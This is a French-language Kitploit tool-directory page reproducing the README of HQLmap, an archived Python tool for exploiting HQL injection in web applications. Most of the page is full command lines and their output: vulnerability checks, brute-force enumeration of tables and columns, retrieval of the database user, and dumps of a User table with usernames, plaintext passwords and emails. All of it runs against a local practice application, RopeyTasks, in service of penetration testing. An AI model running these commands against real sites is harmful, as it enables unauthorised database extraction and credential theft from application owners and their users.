Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HQLmap — (Deprecated) HQLmap, Automatic tool to exploit HQL injections | Kitploit
Outils/GitHubGitHub/paulsec/hqlmap
Vulnerability ScannersWeb Application ExploitationInformation GatheringPenetration TestingDatabase SecurityArchived
GitHubpaulsec/hqlmap

HQLmap

(Deprecated) HQLmap, Automatic tool to exploit HQL injections

Voir le dépôt
22843il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

HQLMap

Ce projet a été créé pour exploiter les injections HQL. L'outil a été écrit en Python et est publié sous licence MIT. Développement futur : J'ai l'intention de développer un module spécifique pour SQLmap.

Où pouvez-vous essayer l'outil ?

Si vous voulez un environnement vulnérable rapide où vous pouvez essayer l'outil, je recommande d'utiliser RopeyTasks : https://github.com/continuumsecurity/RopeyTasks/

De plus, si vous voulez plus d'informations concernant HQLi, consultez ce billet de blog : http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

Installation

Pour installer ce projet, il vous suffit de cloner ce projet en tapant :

root@kitploit:~
git clone [email protected]:PaulSec/HQLmap.git

Utilisation

Pour utiliser ce projet, allez dans le répertoire :

root@kitploit:~
cd HQLmap

Et lancez le projet :

root@kitploit:~
python HQLmap.py

L'utilisation est alors affichée :

root@kitploit:~
Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

Utilisation

Cette partie inclut différents scénarios.

Vérifier si l'hôte est vulnérable

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

La sortie est très simple :

root@kitploit:~
Host seems vulnerable.

Vérification avec POSTDATA

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

Énumération des tables

root@kitploit:~
$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

Voici la sortie :

root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

En effectuant cette énumération, le scanner utilise le fichier par défaut pour le nom des tables si non spécifié. Le fichier par défaut est : db/tables.db

Énumération des colonnes

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns
root@kitploit:~
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

En effectuant cette énumération, le scanner utilise le fichier par défaut pour le nom des tables ET pour le nom des colonnes. Les fichiers par défaut sont :

Pour les tables : db/tables.db Pour les colonnes : db/columns.db

Vérification de l'existence d'une table spécifique

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

Et la sortie :

root@kitploit:~
[-] Table foo does not exist.

Énumération des colonnes d'une table spécifique

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

Et la sortie :

root@kitploit:~
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Vérification de l'existence d'une colonne spécifique pour une table spécifique

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

Et la sortie :

root@kitploit:~
[!] Table User has been found.
[-] Column bar in User does not exist.

Options d'empreinte digitale

Récupération du nombre d'enregistrements d'une table

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

Ou pour toutes les tables :

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

Et la sortie :

root@kitploit:~
[!] Table User has been found.
[!] Count(*) of User : 3

Récupération de l'utilisateur de la base de données

Pour effectuer cette action, vous devez spécifier une table (ou toutes avec le drapeau --tables) et ajouter le drapeau --user de cette manière :

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

Et la sortie (après quelques secondes) :

root@kitploit:~
[!] Table User has been found.
[!] Username of Database found : SA

Pour récupérer l'utilisateur, j'ai implémenté un algorithme très similaire à une dichotomie "variable".

Vidage de la base de données

Toutes les tables de la base de données

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

Et la sortie :

root@kitploit:~
(redacted)
[Task]
  [Name]
     - Bob's shopping
     - Alice's shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

Table spécifique de la base de données

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

Et la sortie :

root@kitploit:~
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O'Reilly
     - Reynolds

Colonne spécifique de la base de données

root@kitploit:~
python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

Et la sortie :

root@kitploit:~
[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

Conclusion (& Licence)

N'hésitez pas à donner des retours et à demander de nouvelles fonctionnalités.

Projet publié sous licence MIT.

Télécharger l’outil